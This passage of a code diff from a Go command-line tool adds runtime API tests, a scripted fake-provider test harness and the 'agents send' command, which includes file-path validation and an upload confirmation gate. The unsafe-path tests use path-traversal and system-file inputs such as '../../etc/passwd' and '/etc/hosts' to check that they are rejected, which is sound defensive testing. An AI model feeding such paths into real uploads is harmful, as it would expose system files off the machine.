+	raw, err := r.CallAPI(context.Background(), "GET", "/open-apis/example/v1/tasks/t1", nil, nil)
+	if err != nil {
+		t.Fatalf("CallAPI should succeed: %v", err)
+	}
+	var data map[string]any
+	if err := json.Unmarshal(raw, &data); err != nil {
+		t.Fatalf("CallAPI should return the raw data object as valid JSON: %v", err)
+	}
+	if data["task_id"] != "t1" || data["state"] != "completed" {
+		t.Errorf("CallAPI should return the unwrapped data object, got %+v", data)
+	}
+
+	// The typed Call[T] helper decodes that same raw data into a struct — no
+	// map[string]any assertions at the call site.
+	got, err := iagents.Call[struct {
+		TaskID string `json:"task_id"`
+		State  string `json:"state"`
+	}](context.Background(), r, "GET", "/open-apis/example/v1/tasks/t1", nil, nil)
+	if err != nil {
+		t.Fatalf("Call[T] should succeed: %v", err)
+	}
+	if got.TaskID != "t1" || got.State != "completed" {
+		t.Errorf("Call[T] should decode data into the struct, got %+v", got)
+	}
+}
+
+// TestCmdRuntime_CallAPI_APIError pins that a non-zero code becomes a typed error
+// (CheckResponse), not a silent success.
+func TestCmdRuntime_CallAPI_APIError(t *testing.T) {
+	rt := stubRoundTripper{respond: jsonResponse(200, `{"code":1254043,"msg":"task not found"}`)}
+	r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
+
+	if _, err := r.CallAPI(context.Background(), "GET", "/open-apis/example/v1/tasks/nope", nil, nil); err == nil {
+		t.Fatal("a non-zero API code should surface as an error")
+	} else if _, ok := errs.ProblemOf(err); !ok {
+		t.Fatalf("API error should be a typed errs error, got %T: %v", err, err)
+	}
+}
+
+// TestCmdRuntime_CallAPI_HeaderOnlyLogID pins that the Agent runtime lifts the
+// response-header log ID into the typed error when the JSON body omits log_id.
+func TestCmdRuntime_CallAPI_HeaderOnlyLogID(t *testing.T) {
+	for _, tc := range []struct {
+		name   string
+		body   string
+		header string
+	}{
+		{name: "x-tt-logid", body: `{"code":5000,"msg":""}`, header: larkcore.HttpHeaderKeyLogId},
+		{name: "request-id fallback", body: `{"code":5000,"msg":""}`, header: larkcore.HttpHeaderKeyRequestId},
+		{name: "invalid body log ids", body: `{"code":5000,"msg":"","log_id":123,"error":{"log_id":"  "}}`, header: larkcore.HttpHeaderKeyLogId},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			rt := stubRoundTripper{respond: func(r *http.Request) (*http.Response, error) {
+				resp, err := jsonResponse(200, tc.body)(r)
+				resp.Header.Set(tc.header, "header-log-123")
+				return resp, err
+			}}
+			r := newTestCmdRuntime(rt, core.AsUser, "agt_1")
+
+			_, err := r.CallAPI(context.Background(), "POST", "/open-apis/base/v3/bases/b1/ai/agents/assistant/messages", nil, map[string]any{"text": "hi"})
+			if err == nil {
+				t.Fatal("a non-zero API code should surface as an error")
+			}
+			p, ok := errs.ProblemOf(err)
+			if !ok {
+				t.Fatalf("API error should be typed, got %T: %v", err, err)
+			}
+			if p.LogID != "header-log-123" {
+				t.Errorf("LogID = %q, want header-log-123", p.LogID)
+			}
+		})
+	}
+}
+
+// TestCmdRuntime_CallAPI_BodyLogIDTakesPrecedence pins that a body-provided
+// log_id remains authoritative when the response header carries another ID.
+func TestCmdRuntime_CallAPI_BodyLogIDTakesPrecedence(t *testing.T) {
+	for _, tc := range []struct {
+		name string
+		body string
+		want string
+	}{
+		{name: "top-level", body: `{"code":5000,"msg":"","log_id":"body-log-456"}`, want: "body-log-456"},
+		{name: "top-level trimmed", body: `{"code":5000,"msg":"","log_id":"  body-log-456  "}`, want: "body-log-456"},
+		{name: "nested error", body: `{"code":5000,"msg":"","error":{"log_id":"body-log-456"}}`, want: "body-log-456"},
+		{name: "top-level whitespace falls back to nested", body: `{"code":5000,"msg":"","log_id":"  ","error":{"log_id":" nested-log-789 "}}`, want: "nested-log-789"},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			rt := stubRoundTripper{respond: func(r *http.Request) (*http.Response, error) {
+				resp, err := jsonResponse(200, tc.body)(r)
+				resp.Header.Set(larkcore.HttpHeaderKeyLogId, "header-log-123")
+				return resp, err
+			}}
+			r := newTestCmdRuntime(rt, core.AsUser, "agt_1")
+
+			_, err := r.CallAPI(context.Background(), "POST", "/open-apis/base/v3/bases/b1/ai/agents/assistant/messages", nil, map[string]any{"text": "hi"})
+			if err == nil {
+				t.Fatal("a non-zero API code should surface as an error")
+			}
+			p, ok := errs.ProblemOf(err)
+			if !ok {
+				t.Fatalf("API error should be typed, got %T: %v", err, err)
+			}
+			if p.LogID != tc.want {
+				t.Errorf("LogID = %q, want %q", p.LogID, tc.want)
+			}
+		})
+	}
+}
+
+// TestCmdRuntime_CallAPI_TransportError pins the transport-error branch: a
+// RoundTrip failure is classified as a network transport error.
+func TestCmdRuntime_CallAPI_TransportError(t *testing.T) {
+	rt := stubRoundTripper{respond: func(*http.Request) (*http.Response, error) {
+		return nil, errors.New("dial refused")
+	}}
+	r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
+
+	_, err := r.CallAPI(context.Background(), "POST", "/open-apis/example/v1/messages", nil, map[string]any{"text": "hi"})
+	if err == nil {
+		t.Fatal("a transport error should propagate")
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Category != errs.CategoryNetwork {
+		t.Fatalf("transport error should be a network error, got %+v", p)
+	}
+}
+
+// TestCmdRuntime_CallMultipart_RejectsUnsafePath pins invariant #5: CallMultipart
+// SafeInputPath-validates every --file BEFORE opening it, so an absolute /
+// traversal path is rejected as invalid_argument (param --file) and NO request
+// is issued (the transport panics if reached).
+func TestCmdRuntime_CallMultipart_RejectsUnsafePath(t *testing.T) {
+	rt := stubRoundTripper{respond: func(*http.Request) (*http.Response, error) {
+		t.Fatal("no request should be issued when the --file path is unsafe")
+		return nil, nil
+	}}
+	r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
+
+	for _, bad := range []string{"/etc/hosts", "../../etc/passwd"} {
+		_, err := r.CallMultipart(context.Background(), "POST", "/open-apis/example/v1/attachments",
+			map[string]string{"type": "file"},
+			[]iagents.FilePart{{Field: "file", Path: bad}})
+		if err == nil {
+			t.Fatalf("an unsafe --file path %q should be rejected", bad)
+		}
+		if !errs.IsValidation(err) {
+			t.Fatalf("unsafe path %q should be a validation error, got %T: %v", bad, err, err)
+		}
+		var ve *errs.ValidationError
+		if !errors.As(err, &ve) || ve.Param != "--file" {
+			t.Errorf("unsafe path %q should carry param --file, got %+v", bad, ve)
+		}
+	}
+}
+
+// TestCmdRuntime_CallUpload_PropagatesError pins the typed CallUpload[T] helper
+// (the multipart counterpart of Call[T]): when CallMultipart rejects an unsafe
+// --file path, CallUpload propagates that validation error and returns the zero
+// value of T without attempting a decode. Mirrors the Call[T] coverage in
+// TestCmdRuntime_CallAPI_UnwrapsData so both typed entry points a provider uses
+// are exercised, not just the JSON one.
+func TestCmdRuntime_CallUpload_PropagatesError(t *testing.T) {
+	rt := stubRoundTripper{respond: func(*http.Request) (*http.Response, error) {
+		t.Fatal("no request should be issued when the --file path is unsafe")
+		return nil, nil
+	}}
+	r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
+
+	got, err := iagents.CallUpload[struct {
+		AttachmentID string `json:"attachment_id"`
+	}](context.Background(), r, "POST", "/open-apis/example/v1/attachments",
+		map[string]string{"type": "file"},
+		[]iagents.FilePart{{Field: "file", Path: "/etc/hosts"}})
+	if err == nil {
+		t.Fatal("CallUpload with an unsafe --file path should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("CallUpload should propagate the validation error, got %T: %v", err, err)
+	}
+	if got.AttachmentID != "" {
+		t.Errorf("CallUpload should return the zero value of T on error, got %+v", got)
+	}
+}

cmd/agents/scripted_provider_test.go

@@ -0,0 +1,195 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+	"sync"
+	"testing"
+
+	iagents "github.com/larksuite/cli/internal/agents"
+)
+
+// scriptedHooks scripts a fake provider's behavior per test. Each hook maps to
+// one AgentSpec verb; an unset hook that gets called panics — a tripwire against
+// a test reaching an unexpected provider path. The command-layer contracts under
+// test (envelope shape, watch exit codes, meta.next, pretty rendering, error
+// propagation) are provider-neutral, so the scripted hooks ignore the Runtime.
+type scriptedHooks struct {
+	send             func(in iagents.SendInput) (*iagents.AgentTask, error)
+	getTask          func(taskID string) (*iagents.AgentTask, error)
+	listTasks        func(contextID string, page iagents.PageParams) ([]iagents.TaskSummary, iagents.PageInfo, error)
+	listContexts     func(page iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error)
+	getContext       func(ctxID string) (*iagents.ContextDetail, error)
+	deleteContext    func(ctxID string) error
+	cancelTask       func(taskID string) error
+	downloadArtifact func(taskID, artifactID string) (*iagents.ArtifactData, error)
+}
+
+// scripted is the package-level hook set shared by every scripted instance (the
+// registered provider is fixed per package run, the hooks can be re-pointed).
+var scripted scriptedHooks
+
+// fakeUserOnlyDescribe is a test seam for the user-only provider's optional
+// dynamic Card enrichment. Card tests use it to prove an unsupported identity
+// gets the static card without invoking Describe, while a supported identity
+// may enrich it.
+var fakeUserOnlyDescribe func(iagents.Runtime) (*iagents.CardInfo, error)
+
+// setScripted installs the hooks for one test and restores the empty (panic
+// tripwire) set on cleanup.
+func setScripted(t *testing.T, h scriptedHooks) {
+	t.Helper()
+	scripted = h
+	t.Cleanup(func() { scripted = scriptedHooks{} })
+}
+
+// scriptedSpec is the instance template whose capability surface is fixed by
+// which hooks are wired: everything the command tests drive is wired (the
+// task_cancel unsupported gate is exercised via example:echo, whose spec leaves
+// it unwired), FileInput=true so the --file gate/confirm path is reachable, and
+// InputRequired=true so the --answer capability gate passes (Register requires
+// a question-asking spec to wire CancelTask, hence the cancel hook). Each wired
+// hook delegates to the per-test hook and panics if it was not set.
+func scriptedSpec() *iagents.AgentSpec {
+	return &iagents.AgentSpec{
+		FileInput:     true,
+		InputRequired: true,
+		CancelTask: iagents.TaskCancelOp{Handler: func(_ context.Context, _ iagents.Runtime, taskID string) error {
+			if scripted.cancelTask == nil {
+				panic("scripted provider: CancelTask hook not set")
+			}
+			return scripted.cancelTask(taskID)
+		}},
+		Send: iagents.SendOp{Handler: func(_ context.Context, _ iagents.Runtime, in iagents.SendInput) (*iagents.AgentTask, error) {
+			if scripted.send == nil {
+				panic("scripted provider: Send hook not set")
+			}
+			return scripted.send(in)
+		}},
+		GetTask: iagents.TaskGetOp{Handler: func(_ context.Context, _ iagents.Runtime, taskID string) (*iagents.AgentTask, error) {
+			if scripted.getTask == nil {
+				panic("scripted provider: GetTask hook not set")
+			}
+			return scripted.getTask(taskID)
+		}},
+		ListTasks: iagents.TaskListOp{Handler: func(_ context.Context, _ iagents.Runtime, contextID string, page iagents.PageParams) ([]iagents.TaskSummary, iagents.PageInfo, error) {
+			if scripted.listTasks == nil {
+				panic("scripted provider: ListTasks hook not set")
+			}
+			return scripted.listTasks(contextID, page)
+		}},
+		ListContexts: iagents.ContextListOp{Handler: func(_ context.Context, _ iagents.Runtime, page iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
+			if scripted.listContexts == nil {
+				panic("scripted provider: ListContexts hook not set")
+			}
+			return scripted.listContexts(page)
+		}},
+		GetContext: iagents.ContextGetOp{Handler: func(_ context.Context, _ iagents.Runtime, ctxID string) (*iagents.ContextDetail, error) {
+			if scripted.getContext == nil {
+				panic("scripted provider: GetContext hook not set")
+			}
+			return scripted.getContext(ctxID)
+		}},
+		DeleteContext: iagents.ContextDeleteOp{Handler: func(_ context.Context, _ iagents.Runtime, ctxID string) error {
+			if scripted.deleteContext == nil {
+				panic("scripted provider: DeleteContext hook not set")
+			}
+			return scripted.deleteContext(ctxID)
+		}},
+		DownloadArtifact: iagents.ArtifactDownloadOp{Handler: func(_ context.Context, _ iagents.Runtime, taskID, artifactID string) (*iagents.ArtifactData, error) {
+			if scripted.downloadArtifact == nil {
+				panic("scripted provider: DownloadArtifact hook not set")
+			}
+			return scripted.downloadArtifact(taskID, artifactID)
+		}},
+	}
+}
+
+func scriptedUserOnlySpec() *iagents.AgentSpec {
+	spec := scriptedSpec()
+	spec.Describe = func(_ context.Context, rt iagents.Runtime) (*iagents.CardInfo, error) {
+		if fakeUserOnlyDescribe == nil {
+			panic("scripted user-only provider: Describe hook not set")
+		}
+		return fakeUserOnlyDescribe(rt)
+	}
+	return spec
+}
+
+// fakescopedAllScopes is the full RequiredScopes set of the fakescoped test
+// provider, sorted — the all-or-nothing preflight requires every one for any
+// real API verb.
+var fakescopedAllScopes = []string{
+	"fakescoped:agent_artifact:read",
+	"fakescoped:agent_attachment:write",
+	"fakescoped:agent_chat:read",
+	"fakescoped:agent_chat:write",
+}
+
+// fakeflowAgentIDSource is the AgentIDSource text of the fakeflow provider —
+// the non-enumerable `agents list <scheme>` error surfaces it as the hint.
+const fakeflowAgentIDSource = "在 fakeflow 测试控制台获取 agent_id（形如 agt_xxx）"
+
+// minimalSpec is the least-capable legal instance template: only the two core
+// verbs are wired (with tripwire handlers — these tests never reach them), so
+// every optional verb is honestly unsupported. It is the vehicle for
+// unwired-verb shape/ordering tests now that scriptedSpec wires everything.
+func minimalSpec() *iagents.AgentSpec {
+	return &iagents.AgentSpec{
+		Send: iagents.SendOp{Handler: func(_ context.Context, _ iagents.Runtime, _ iagents.SendInput) (*iagents.AgentTask, error) {
+			panic("fakemin provider: not callable")
+		}},
+		GetTask: iagents.TaskGetOp{Handler: func(_ context.Context, _ iagents.Runtime, _ string) (*iagents.AgentTask, error) {
+			panic("fakemin provider: not callable")
+		}},
+	}
+}
+
+// registerScripted registers the scripted schemes exactly once (Register panics
+// on duplicates). All are instance-type (agent_id is arbitrary), and not
+// enumerable (no ListAgents hook). They leak into the package-level registry for
+// the rest of this package run — so no test may assert an exact provider set.
+//
+//   - fakeflow: no RequiredScopes (preflight always passes) — the workhorse.
+//   - fakescoped: a 4-scope RequiredScopes set, for the scope-preflight tests.
+//   - fakemin: the same 4-scope set on the minimal spec — the vehicle for
+//     unwired-verb gating (its capability gate must answer before preflight).
+//   - fakeuseronly: no RequiredScopes, user identity only.
+var registerScriptedOnce sync.Once
+
+func registerScripted() {
+	registerScriptedOnce.Do(func() {
+		iagents.Register(iagents.Provider{
+			Scheme:        "fakeflow",
+			Label:         "test fake (scripted flow)",
+			AgentIDSource: fakeflowAgentIDSource,
+			Identities:    []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
+			Instance:      scriptedSpec(),
+		})
+		iagents.Register(iagents.Provider{
+			Scheme:         "fakescoped",
+			Label:          "test fake (scoped)",
+			AgentIDSource:  "test only",
+			RequiredScopes: fakescopedAllScopes,
+			Identities:     []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
+			Instance:       scriptedSpec(),
+		})
+		iagents.Register(iagents.Provider{
+			Scheme:         "fakemin",
+			Label:          "test fake (minimal caps)",
+			AgentIDSource:  "test only",
+			RequiredScopes: fakescopedAllScopes,
+			Identities:     []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
+			Instance:       minimalSpec(),
+		})
+		iagents.Register(iagents.Provider{
+			Scheme:        "fakeuseronly",
+			Label:         "test fake (user only)",
+			AgentIDSource: "test only",
+			Identities:    []iagents.IdentitySpec{{Type: iagents.IdentityUser}},
+			Instance:      scriptedUserOnlySpec(),
+		})
+	})
+}

cmd/agents/send.go

@@ -0,0 +1,598 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"fmt"
+	"os"
+	"regexp"
+	"strings"
+	"time"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/output"
+	"github.com/larksuite/cli/internal/validate"
+)
+
+// sendOptions holds all inputs for `agents send <ref>`.
+type sendOptions struct {
+	Factory   *cmdutil.Factory
+	Cmd       *cobra.Command
+	Ref       string
+	Text      string
+	Files     []string
+	Params    []string
+	ContextID string
+	TaskID    string
+	Answers   []string // raw --answer key=value entries, argv order
+	DryRun    bool
+	Yes       bool
+	As        string
+	Format    string
+}
+
+// NewCmdAgentSend builds `agents send <agent_ref>`: send a message to a remote
+// agent, starting a new task or continuing an existing one. `--dry-run`
+// validates the inputs against the agent Card and prints the request preview
+// without any API call (always available). A send fires and returns the
+// current task immediately; poll progress with
+// `agents task get <agent_ref> <task-id> --watch` (surfaced via meta.next).
+// `--file` uploads local files to the remote agent — the content leaves this
+// machine. Risk=write. runF, when non-nil, replaces the production run path
+// (test seam).
+func NewCmdAgentSend(f *cmdutil.Factory, runF func(*sendOptions) error) *cobra.Command {
+	opts := &sendOptions{Factory: f}
+	cmd := &cobra.Command{
+		Use:   "send <agent_ref>",
+		Short: "Send a message to a remote agent (start a new task or continue an existing one)",
+		Long: "Send one message to the remote agent addressed by agent_ref. Without --context-id/--task-id it starts a new task; " +
+			"with --context-id (optionally --task-id) it continues the same multi-turn context; with --answer it answers the task's pending input_required question group. " +
+			"--dry-run only validates locally and prints the request preview without calling the API. A send fires and returns the current task immediately; " +
+			"poll progress with agents task get <agent_ref> <task-id> --watch (see meta.next).",
+		Args: exactArgsWithUsage(1),
+		RunE: func(cmd *cobra.Command, args []string) error {
+			if err := validateFormat(opts.Format); err != nil {
+				return err
+			}
+			opts.Cmd = cmd
+			opts.Ref = args[0]
+			if runF != nil {
+				return runF(opts)
+			}
+			return agentSendRun(opts)
+		},
+	}
+	cmd.Flags().StringVar(&opts.Text, "text", "", "消息的自由文本部分：起任务/续聊的正文，或随 --answer 的整体附言（--text 永远不是某道题的答案）")
+	cmd.Flags().StringArrayVar(&opts.Files, "file", nil, "随消息外发的本地文件路径，可重复；文件会被上传到远端 provider（内容离开本机）")
+	addParamFlag(cmd, &opts.Params)
+	cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "多轮上下文 id（续发同一会话）")
+	cmd.Flags().StringVar(&opts.TaskID, "task-id", "", "向已有任务续发（须与 --context-id 一起用）")
+	cmd.Flags().StringArrayVar(&opts.Answers, "answer", nil, "回答 input_required 问题组，可重复：给选项键用 <question_id>=<option_id>（多选重复同 key），给文字用 <question_id>.text=<文本>；须与 --context-id/--task-id 一起用")
+	cmd.Flags().BoolVar(&opts.DryRun, "dry-run", false, "只做本地校验并打印请求预览，不调用 API")
+	cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认用 --file 把本地文件外发上传到远端（不加则 exit 10，不上传）")
+	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
+	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
+	if f != nil {
+		cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
+	} else {
+		// f is nil only in construction-time unit tests; register a bare --as so
+		// the flag surface is still assertable without a Factory.
+		cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
+	}
+	cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
+	return cmd
+}
+
+// sendMode is send's semantic mode, derived from the flags by a fixed priority
+// (the user never passes a mode). The discriminator formalizes what the guards
+// enforce: answer needs the pending group's task+context and takes --answer
+// entries (with --text as an optional message-level remark); continue/start
+// need --text.
+type sendMode string
+
+const (
+	modeStart    sendMode = "start"    // no context/task/answers — a fresh task
+	modeContinue sendMode = "continue" // has context (optionally task) — same conversation
+	modeAnswer   sendMode = "answer"   // has --answer entries — input_required group reply
+)
+
+// answerKeyPattern is the offline --answer key grammar: a KeyPattern-conforming
+// question id plus at most one case-sensitive ".text" suffix. Anything else —
+// ".txt", ".TEXT", a bare ".text", two dots, a '-'-leading flag-lookalike — is
+// rejected before any network access, because the only two legal key shapes are
+// <qid> and <qid>.text and a near-miss silently becoming an unknown question_id
+// at the provider would send the AI down the wrong recovery branch.
+var answerKeyPattern = regexp.MustCompile(`^` + iagents.KeyCharsetRE + `(\.text)?$`)
+
+// parseAnswers parses the raw --answer key=value entries into the §10.1 map
+// encoding (values in argv order), running every offline guard in one
+// collect-all pass so a multi-error submission is fixed in one round-trip:
+// key=value shape, key grammar, non-empty value, no duplicate .text entry per
+// question. Exact duplicate bare values are deduplicated (an AI retry glitch is
+// idempotent, not an error). Semantic validation (does the qid exist, is the
+// value a legal option) is deliberately NOT here — the CLI is stateless and
+// does not hold the question group; that is the provider's policy (§6.3).
+func parseAnswers(raw []string) (map[string][]string, error) {
+	answers := make(map[string][]string, len(raw))
+	var viols []string
+	for _, entry := range raw {
+		key, value, ok := strings.Cut(entry, "=")
+		if !ok {
+			viols = append(viols, fmt.Sprintf("%s（非 key=value 形）", entry))
+			continue
+		}
+		if !answerKeyPattern.MatchString(key) {
+			viols = append(viols, fmt.Sprintf("%s（key 非法：合法形态只有 <question_id> 与 <question_id>.text）", key))
+			continue
+		}
+		if value == "" {
+			viols = append(viols, fmt.Sprintf("%s（空答案无意义：选项题给 option_id、文字给非空文本；不想答的题不要带这个 key）", key))
+			continue
+		}
+		if _, isText := iagents.SplitAnswerKey(key); isText && len(answers[key]) > 0 {
+			viols = append(viols, fmt.Sprintf("%s（同一题的 .text 只能出现一次，文本不累积）", key))
+			continue
+		}
+		dup := false
+		for _, v := range answers[key] {
+			if v == value {
+				dup = true // exact duplicate → dedupe silently
+				break
+			}
+		}
+		if !dup {
+			answers[key] = append(answers[key], value)
+		}
+	}
+	if len(viols) > 0 {
+		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"非法的 --answer: %s", strings.Join(viols, "；")).
+			WithParam("--answer").
+			WithHint("给选项键用 --answer <question_id>=<option_id>（多选重复同 key），给文字用 --answer <question_id>.text=<文本>，逐条修正后整组重发")
+	}
+	return answers, nil
+}
+
+// deriveSendMode classifies the send and runs the per-mode client-side guards
+// (all offline, all holding under a nil Factory). Conflicting combinations
+// never silently fall back to another mode. Guard PRECEDENCE is deliberate
+// mode-first: with several simultaneous mistakes the mode-defining flag's guard
+// wins (e.g. --answer without --context-id reports the answer guard, not the
+// missing --text) — the caller learns which MODE it got wrong before which
+// field it forgot. Returns the parsed answers map for the answer mode (nil
+// otherwise).
+func deriveSendMode(opts *sendOptions) (sendMode, map[string][]string, error) {
+	hasText := strings.TrimSpace(opts.Text) != ""
+	if len(opts.Answers) > 0 {
+		// answer: continues the pending group's own task, so both ids are required.
+		if opts.ContextID == "" || opts.TaskID == "" {
+			return "", nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
+				"回答问题组需同时提供 --context-id 与 --task-id").
+				WithParam("--answer").
+				WithHint("--answer 必须与该问题组所属任务的 --context-id/--task-id 一起提供（照抄 task get 输出 meta.next 的命令模板）")
+		}
+		answers, err := parseAnswers(opts.Answers)
+		if err != nil {
+			return "", nil, err
+		}
+		// --text stays optional here: it is the message-level remark, never a
+		// question's answer.
+		return modeAnswer, answers, nil
+	}
+	if opts.TaskID != "" && opts.ContextID == "" {
+		return "", nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"--task-id 需与 --context-id 一起使用").
+			WithParam("--task-id").
+			WithHint("补充 --context-id <ctx-id> 后重发；该任务所属会话可用 lark-cli agents task get <agent_ref> <task-id> 输出的 context_id 确认")
+	}
+	if !hasText {
+		return "", nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--text 必须包含非空白字符").
+			WithParam("--text").
+			WithHint(`补充 --text "<消息内容>" 后重发；若在回答问题组，用 --answer <question_id>=<option_id> 或 --answer <question_id>.text=<文本>`)
+	}
+	if opts.ContextID != "" {
+		return modeContinue, nil, nil
+	}
+	return modeStart, nil, nil
+}
+
+// agentSendRun validates the send inputs, resolves the provider, and either
+// prints a dry-run preview or dispatches the message. The mode guards run
+// first so they never touch the network and hold even under a nil Factory. A
+// send fires once and returns the current task immediately (exit 0); the
+// caller polls progress via the meta.next `task get ... --watch` hint.
+func agentSendRun(opts *sendOptions) error {
+	_, answers, err := deriveSendMode(opts)
+	if err != nil {
+		return err
+	}
+	if err := validateSendFiles(opts.Files); err != nil {
+		return err
+	}
+
+	f := opts.Factory
+	// Resolution + --param validation + --dry-run are fully offline, so they work
+	// (and surface validation as exit 2) before the config gate. The card is
+	// built with rt=nil (capability matrix only) for the file gate; --param
+	// validation reads the send operation's own declaration.
+	prov, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
+	if err != nil {
+		return err
+	}
+	// Whole-agent brand gate (offline), before the card / any network access.
+	if err := brandGate(f, spec, opts.Ref); err != nil {
+		return err
+	}
+	// Send is a core op; gate it on its own Brands too (normally empty ⇒ no-op).
+	if err := opBrandGate(f, spec.Send.Brands, opts.Ref, "send"); err != nil {
+		return err
+	}
+	card := iagents.BuildCard(opts.Cmd.Context(), prov, spec, agentID, resolvedBrand(f), nil)
+	vp, err := validateParams(opts.Params, spec.Send.Params, iagents.VerbSend, spec, opts.Ref)
+	if err != nil {
+		return err
+	}
+
+	in := iagents.SendInput{
+		Text:      opts.Text,
+		Files:     opts.Files,
+		ContextID: opts.ContextID,
+		TaskID:    opts.TaskID,
+		Answers:   answers,
+	}
+
+	// --dry-run is a client-side behavior: always available, never
+	// gated by the Card's dry_run capability, and never touches the API.
+	if opts.DryRun {
+		return emitDryRun(f, opts.Cmd, opts.Ref, in, vp.Resolved, opts.Format)
+	}
+
+	// An agent that never enters input_required cannot take a group answer, so
+	// --answer against it is unsupported_capability — gated offline (mirrors the
+	// --file/file_input gate) to save the caller a doomed round-trip.
+	if len(in.Answers) > 0 && !card.Supports(iagents.CapInputRequired) {
+		return capabilityError(opts.Ref, "send with --answer", iagents.CapInputRequired)
+	}
+
+	if len(in.Files) > 0 {
+		// An agent that does not declare file_input cannot take an upload, so
+		// --file against it is unsupported_capability — gated before any network
+		// access, so the user is not told "confirm the upload" for a send that
+		// would be rejected anyway.
+		if !card.Supports(iagents.CapFileInput) {
+			return capabilityError(opts.Ref, "send with --file", iagents.CapFileInput)
+		}
+		// --file exfiltrates local file content off this machine (the provider
+		// reads the file and uploads it to the remote agent). That is an
+		// irreversible, CLI-enforced high-risk write: a real send that would upload
+		// requires --yes, returning confirmation_required (exit 10) before any
+		// network access. dry-run above is exempt — it never uploads.
+		if !opts.Yes {
+			return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agents send --file",
+				"--file 会把本地文件外发上传到远端 agent（内容离开本机，不可撤回）").
+				WithHint("确认要外发这些文件后，加 --yes 重发")
+		}
+	}
+
+	// A real send calls the API, so it needs a configured client; build the
+	// identity-pinned runtime now (not_configured / exit 3 here is correct).
+	rt, err := runtimeFor(f, id, agentID, vp.Resolved)
+	if err != nil {
+		return err
+	}
+
+	// Local scope preflight: after runtimeFor, before the API call. The check is
+	// all-or-nothing — any real API verb requires the provider's full scope set.
+	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
+		return err
+	}
+
+	task, err := spec.Send.Handler(opts.Cmd.Context(), rt, in)
+	if err != nil {
+		return err
+	}
+	notice := normalizeTask(task)
+
+	// A send fires and returns the current task immediately (exit 0). Progress is
+	// polled separately via the meta.next `task get <agent_ref> <task-id> --watch`
+	// hint — send no longer blocks on the task reaching a stop condition.
+	return emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task, spec, vp.Given, iagents.VerbSend), opts.Format, notice)
+}
+
+// validateSendFiles is the local gate on --file paths, running before any
+// capability/confirmation gate or network access (dry-run included): every
+// path must be a relative-within-CWD (the lark-shared safety rule the docs
+// promise) EXISTING regular file. Violations are collected and reported in one
+// pass, mirroring the --param collect-all style, so a multi-file send is fixed
+// in one round-trip. Without this gate a bad path used to be discovered only
+// by the provider (or worse, silently "uploaded").
+func validateSendFiles(files []string) error {
+	var viols []string
+	for _, p := range files {
+		abs, err := validate.SafeInputPath(p)
+		if err != nil {
+			viols = append(viols, fmt.Sprintf("%s（仅接受 CWD 内的相对路径）", p))
+			continue
+		}
+		st, err := os.Stat(abs)
+		switch {
+		case err != nil:
+			viols = append(viols, fmt.Sprintf("%s（文件不存在或不可读）", p))
+		case st.IsDir():
+			viols = append(viols, fmt.Sprintf("%s（是目录，--file 只接受文件）", p))
+		}
+	}
+	if len(viols) == 0 {
+		return nil
+	}
+	return errs.NewValidationError(errs.SubtypeInvalidArgument,
+		"非法的 --file 路径: %s", strings.Join(viols, "；")).
+		WithParam("--file").
+		WithHint("--file 只接受当前目录内的相对路径且文件必须存在，逐条修正后重发")
+}
+
+// emitDryRun writes the dry-run preview: {dry_run:true, would_send:{…}}
+// reconstructed from the validated input, so a caller can inspect exactly what
+// a real send would post without contacting the agent. format=pretty (no --jq)
+// renders the same fields as key: value lines instead of the envelope.
+func emitDryRun(f *cmdutil.Factory, cmd *cobra.Command, ref string, in iagents.SendInput, params map[string]string, format string) error {
+	if format == "pretty" && jqExpr(cmd) == "" {
+		out := f.IOStreams.Out
+		fmt.Fprintln(out, "dry_run: true")
+		fmt.Fprintf(out, "agent_ref: %s\n", kvValue(ref))
+		fmt.Fprintf(out, "text: %s\n", truncateRunes(kvValue(in.Text), 120))
+		if len(in.Files) > 0 {
+			fmt.Fprintf(out, "files: %d\n", len(in.Files))
+		}
+		if len(params) > 0 {
+			fmt.Fprintf(out, "params: %d\n", len(params))
+		}
+		if in.ContextID != "" {
+			fmt.Fprintf(out, "context_id: %s\n", kvValue(in.ContextID))
+		}
+		if in.TaskID != "" {
+			fmt.Fprintf(out, "task_id: %s\n", kvValue(in.TaskID))
+		}
+		if len(in.Answers) > 0 {
+			fmt.Fprintf(out, "answers: %d\n", len(in.Answers))
+		}
+		return nil
+	}
+
+	would := map[string]interface{}{
+		"agent_ref": ref,
+		"text":      in.Text,
+	}
